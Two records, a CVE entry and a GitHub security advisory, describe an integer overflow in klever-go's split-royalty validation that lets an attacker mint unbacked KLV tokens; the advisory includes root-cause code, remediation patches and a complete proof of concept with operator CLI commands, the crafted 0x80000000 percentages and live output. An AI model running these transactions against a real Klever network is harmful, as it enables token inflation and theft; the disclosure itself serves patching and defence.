{
  "affected": [
    {
      "affectedData": [
        {
          "product": "klever-go",
          "vendor": "klever-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.19"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, split-royalty fields decoded in core/kapp/builtInFunctions/utils.go can contain values greater than core.HundredPercent, and core/kapp/kda/create.go and core/kapp/kda/trigger.go sum those values in uint32 accumulators. Crafted values such as two 0x80000000 entries wrap the validation sum to zero and pass CheckValid100Params. Royalty payout paths in core/kapp/accounts/accounts.go, core/kapp/market/market.go, and core/kapp/ito/ito.go then credit each oversized split amount and silently discard a negative remainder, allowing ordinary asset transfers, marketplace purchases, or ITO purchases to create unbacked KLV or other assets. This issue is fixed in version 1.7.19."
    }
  ],
  "id": "CVE-2026-54755",
  "lastModified": "2026-08-31T19:16:52.973",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54755",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-31T15:21:26.342020Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:18:17.670",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-cgc5-v3f2-8m2v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-190"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:25:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe per-entry percentages of a KDA asset\u0027s **split royalties** are validated by summing\nthem into a **`uint32`** accumulator and checking the *sum* against `HundredPercent (10000)`,\nwith **no upper bound on each individual entry**. Two split entries whose percentages sum to\njust over `2^32` **wrap around** below `10000` and pass validation, while each stored value\nremains astronomically large (e.g. `0x80000000 = 2,147,483,648` \u2248 21,474,836%).\n\nAt royalty payout, each split recipient is credited `pool \u00d7 hugePct / 10000` \u2014 far more than\nthe royalty pool \u2014 and the resulting negative remainder is silently discarded\n(`if royaltiesToPay \u003c= 0 { return Ok }`). Because **fixed** royalties (and marketplace/ITO\nroyalties) are denominated in **KLV**, an attacker mints **KLV (the native token)** out of thin\nair, on demand, by transferring or selling their own throwaway asset.\n\nThis is independent of, and not mitigated by, the existing `FixMarketBuyOverflow` guard.\n\n\n## Affected component\n\n- Repository: `klever-io/klever-go` (node).\n- Validation: `core/process/kda/assetHelper.go`, `core/kapp/kda/create.go`,\n  `core/kapp/kda/trigger.go`, `core/kapp/builtInFunctions/utils.go`.\n- Payout (mint sites): `core/kapp/accounts/accounts.go` (transfer), `core/kapp/market/market.go`\n  (marketplace buy), `core/kapp/ito/ito.go` (ITO buy).\n- **Not** gated by any fork flag \u2014 exploitable on current mainnet.\n\n---\n\n## Root cause\n\n### 1. Per-entry split percentages are decoded as raw `uint32` with no bound\n`core/kapp/builtInFunctions/utils.go` \u2014 `decodeSplitInfo` (\u2248L292):\n```go\nfunc decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {\n\tfields := []*uint32{\n\t\t\u0026splitInfo.PercentTransferPercentage,\n\t\t\u0026splitInfo.PercentTransferFixed,\n\t\t\u0026splitInfo.PercentMarketPercentage,\n\t\t\u0026splitInfo.PercentMarketFixed,\n\t\t\u0026splitInfo.PercentITOPercentage,\n\t\t\u0026splitInfo.PercentITOFixed,\n\t}\n\tfor _, field := range fields {\n\t\tif err := binary.Read(buf, binary.BigEndian, field); err != nil { // no \u003c= HundredPercent check\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n```\n\n### 2. Validation sums into a `uint32` and only checks the sum\n`core/kapp/kda/create.go` (fungible path, \u2248L351-382; NFT path \u2248L228-264):\n```go\nsumSplitTransferPercentage := uint32(0)   // L351  \u003c-- uint32 accumulator\nsumSplitTransferFixed       := uint32(0)\n// ...\nfor key, value := range tc.GetRoyalties().GetSplitRoyalties() {\n\t// ... no per-entry bound ...\n\tsumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32\n\tsumSplitTransferFixed       += value.GetPercentTransferFixed()\n\t// ...\n}\nif !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum\n\treturn transaction.Transaction_ParameterInvalid, common.ErrInvalidValue\n}\n```\n`core/process/kda/assetHelper.go` (L101):\n```go\nfunc CheckValid100Params(values ...uint32) bool {\n\tfor _, value := range values {\n\t\tif value \u003e core.HundredPercent { // HundredPercent = 10000\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n```\nThe per-entry `\u003e HundredPercent` check that exists for `TransferPercentage` **tiers**\n(`create.go:398`, `trigger.go:780`) does **not** apply to these `SplitRoyalties` fields.\n\n`0x80000000 + 0x80000000 = 0x1_0000_0000` \u2192 **wraps to `0`** in `uint32` \u2192 `CheckValid100Params(0)` is true.\n\n### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV\n`core/kapp/accounts/accounts.go` \u2014 `processFixedRoyaltiesTransfer` (L316-382):\n```go\nerr := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty\n// ...\nroyaltiesFixedToPay := kda.Royalties.TransferFixed\nfor key, value := range kda.Royalties.SplitRoyalties {\n\t// L343: split paid in KLV using the overflowed PercentTransferFixed\n\tstatus, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,\n\t\tacntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), \u0026royaltiesFixedToPay)\n\t// ...\n}\nif royaltiesFixedToPay \u003c= 0 {   // L349: negative remainder silently dropped (no error)\n\treturn transaction.Transaction_Ok, nil\n}\n```\n`computeSplitRoyalties` (L276-314):\n```go\nsplitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287\n*royaltiesToPay -= splitToPay                                                                              // L291\nerr = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit\n```\n`tools/converters.go` \u2014 `ComputePercentageI64` (L102): for a small `pool`, `pool * 0x80000000 / 10000`\nfits in `int64`, so **no overflow error fires** \u2014 it simply returns the inflated amount.\n\n**Net:** sender debited `TransferFixed` KLV (e.g. 1 KLV); each split recipient credited\n`TransferFixed \u00d7 0x80000000 / 10000` KLV. KLV minted = (sum of split credits) \u2212 `TransferFixed`.\n\nThe same pattern exists in `core/kapp/market/market.go` (`computeRoyaltiesAmount` L490+ in the\nsale `currencyID`; `computeRoyaltiesFixedDeposit` L443+ in KLV \u2014 silent skips at L456/L503) and\n`core/kapp/ito/ito.go` (L429/L499). The shipped `FixMarketBuyOverflow` guard only checks the\ntop-level `marketOwnerAmount \u003c 0`, not these intra-royalty split over-payments.\n\n---\n\n## Proof of Concept (reproduce from scratch)\n\nA single-node local network is sufficient. Full environment setup is in the companion runbook\n`REPRODUCE-split-royalty-overflow.md`; the exploit itself is two transactions.\n\n### Prereqs (build + run a single node)\n```bash\nexport REPO=/path/to/klever-go \u0026\u0026 cd \"$REPO\"\ngo build -o /tmp/klnode ./cmd/node\ngo build -o /tmp/kloperator ./cmd/operator\ngo build -o /tmp/klkeygen ./cmd/keygenerator\n# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a\n# funded wallet (klvDenomination 6), then:\nnohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \\\n  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \\\n  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level=\u0027*:INFO\u0027 \\\n  \u003e /tmp/klnode.log 2\u003e\u00261 \u003c /dev/null \u0026 disown\n```\n\n### Step 1 \u2014 create a malicious asset (your own throwaway token)\nThe operator stores percentages as `uint32(input \u00d7 100)`, so `21474836.48 \u2192 2147483648 = 0x80000000`.\nTwo entries make the `uint32` sum wrap to 0.\n```bash\nR1=\u003cany valid klv1 address\u003e   # clean recipient, will receive minted KLV\nR2=\u003cany valid klv1 address\u003e   # second recipient\n/tmp/kloperator kda create 0 \\\n  --name=\"KlvPrinter\" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \\\n  --royaltiesAddress=\u003cowner\u003e \\\n  --royaltiesTransferFixed=1 \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R1\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R2\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  -s --await\n```\n**Expected:** `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both\nrecipients (a correct chain would reject this).\n\n### Step 2 \u2014 mint KLV with one ordinary transfer\n```bash\n/tmp/kloperator account send \"$R2\" 1 --kda KPRT2-\u003cid\u003e -s --await\n```\n**Expected:** `resultCode: Ok`, with two **KLV** transfer receipts of `214748364800`\n(= 214,748.36 KLV) to R1 and R2 \u2014 for a `TransferFixed` royalty of `1000000` (1 KLV).\n\n### Verify the mint\n```bash\n# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:\ncurl -s \"http://127.0.0.1:8080/address/$R1\" | python3 -c \\\n \"import sys,json;print(json.load(sys.stdin)[\u0027data\u0027][\u0027account\u0027][\u0027Balance\u0027]/1e6,\u0027KLV\u0027)\"\n```\n\n---\n\n## Evidence (live single-node run, chainID 420420)\n\n### Asset creation \u2014 overflowed split royalties **accepted** (`resultCode: Ok`)\ntx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract\n(operator output, abridged):\n```json\n{\n  \"type\": 0, \"name\": \"KlvPrinter2\", \"ticker\": \"KPRT2\",\n  \"ownerAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n  \"initialSupply\": 1000000000000,\n  \"royalties\": {\n    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n    \"transferFixed\": 1000000,\n    \"splitRoyalties\": {\n      \"klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap\": { \"percentTransferFixed\": 2147483648 },\n      \"klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5\": { \"percentTransferFixed\": 2147483648 }\n    }\n  }\n}\n```\nResult: `hash: 1e288135\u2026`, `status: success`, `resultCode: Ok`.\n(`2147483648 = 0x80000000`; the two values\u0027 `uint32` sum is `0` \u2192 passed `CheckValid100Params`.)\n\n### Transfer \u2014 mints KLV (`resultCode: Ok`)\ntx `4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6`, block `375`,\n`status: success`, `resultCode: Ok`. Receipts (operator output):\n```json\n{\"typeString\": \"SignedBy\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn\u2026(owner)\", \"to\": \"klv1fpwjz\u2026(R1)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn\u2026(owner)\", \"to\": \"klv17e8zz\u2026(R2)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn\u2026(owner)\", \"to\": \"klv17e8zz\u2026(R2)\", \"value\": 1000000,       \"assetId\": \"KPRT2-2712\", \"assetType\": \"Fungible\"}\n```\n\n**Outcome:** the sender paid `1000000` (1 KLV) of fixed royalty; the two split recipients were\neach credited `214748364800` (**214,748.36 KLV**) \u2014 **429,496.73 KLV minted** from a 1 KLV royalty,\nin a single transfer. `R1` went from a non-existent/0-KLV account to **214,748.36 KLV** while never\nbeing sent any KLV. The minted amount is `pool(=1000000) \u00d7 0x80000000 / 10000 = 214748364800` per\nrecipient.\n\nA prior run reproduced the same on the *transfer-percentage* path, minting the asset itself\n(42,949,672.96 tokens from one transfer); note that the asset\u0027s booked `CirculatingSupply` /\n`MintedValue` **do not change** (the mint is via direct `AddToBalance`, not a tracked `Mint`), so\nthe inflation is invisible to supply dashboards and only detectable by summing balances.\n\n---\n\n## Impact\n\n- **Unbounded inflation of KLV (the native token)**, repeatable per transaction for only tx fees.\n- Same root cause also mints KLV via **marketplace buy** (sale currency + KLV `MarketFixed`\n  deposit) and **ITO buy**, and mints arbitrary assets via the transfer-percentage path.\n- The mint is **off the books** (booked supply unchanged), making detection hard.\n- Total loss of economic integrity for all token/KLV holders.\n\n## Who can exploit it / prerequisites\n\n- **Any account** that can pay the one-time asset-creation fee + tx fees. No roles, admin, or\n  allowlist.\n- **Any client.** The `operator` CLI used above is unprivileged: it signs a standard transaction\n  and POSTs to the public, unauthenticated `/transaction/send` endpoint\n  (`network/api/transaction/routes.go`, `SendTX`/`BroadcastTX` \u2014 no auth). The official SDKs or a\n  hand-signed `curl` produce identical results; nothing in the operator is required.\n- Deterministic, single-transaction trigger after a one-time asset setup.\n\n---\n\n## Remediation\n\nTwo layers, both should ship. Because these change transaction-validity/consensus behavior, gate\nthem behind a new activation-epoch fork flag (same mechanism as the existing `FixMarketBuyOverflow`),\nso historical blocks reprocess identically.\n\n### A. Reject over-100% split percentages at validation (root cause)\n1. Bound **each individual** split field, e.g. in `decodeSplitInfo`\n   (`core/kapp/builtInFunctions/utils.go`):\n   ```go\n   for _, field := range fields {\n       if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }\n       if *field \u003e core.HundredPercent { return process.ErrInvalidRoyalties } // NEW\n   }\n   ```\n2. Accumulate sums in `uint64` (overflow-proof) in `core/kapp/kda/create.go` and\n   `core/kapp/kda/trigger.go`, and reject if any per-category sum `\u003e core.HundredPercent`.\n   (With each entry \u2264 10000 and the existing `MaxTransferRoyalties = 20` cap, the max sum is\n   200000 \u2014 but use `uint64` regardless for defense in depth.)\n\n### B. Treat a negative royalty remainder as a hard error (defense in depth)\nIn every split-distribution site, replace the silent skip with a rejection:\n```go\n// BEFORE\nif royaltiesToPay \u003c= 0 { return transaction.Transaction_Ok, nil }\n// AFTER\nif royaltiesToPay \u003c 0  { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }\nif royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }\n```\nSites: `core/kapp/accounts/accounts.go` (L349 fixed, L436 percentage),\n`core/kapp/market/market.go` (L456, L503), `core/kapp/ito/ito.go` (L429, L499).\n\n### C. (Optional) Assert conservation\nAfter distributing a royalty pool, assert `\u03a3 splitToPay == pool` (the owner gets the exact\nremainder), so any future regression aborts the tx instead of minting.\n\nA regression test should: (1) confirm an asset whose split percentages sum-overflow `uint32` is\nrejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in)\ncannot pay out more than the royalty pool.\n\n---\n\n## Variants / notes\n\n- **Transfer (percentage)** \u2192 mints the transferred asset. **Transfer (fixed)**, **Market**\n  (fixed + percentage), **ITO** (fixed + percentage) \u2192 mint **KLV** / the sale currency.\n- Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via\n  `AssetTrigger/UpdateRoyalties` and let a normal account trigger the mint \u2014 atomically within one tx.\n- The legacy `ComputePercentageI64` float path (`checkOverflow=false`) makes the over-pay even\n  easier (no `int64` overflow guard at all), but the `big.Int` path mints too for small pools.\n\n## References\n\n- Vulnerable code: `core/process/kda/assetHelper.go:101`,\n  `core/kapp/builtInFunctions/utils.go:292`, `core/kapp/kda/create.go:228-264,351-382`,\n  `core/kapp/kda/trigger.go`, `core/kapp/accounts/accounts.go:276-382`,\n  `core/kapp/market/market.go:443-538`, `core/kapp/ito/ito.go:415-556`,\n  `tools/converters.go:102`.",
  "id": "GHSA-cgc5-v3f2-8m2v",
  "modified": "2026-08-28T16:25:48Z",
  "published": "2026-08-28T16:25:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-cgc5-v3f2-8m2v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)"
}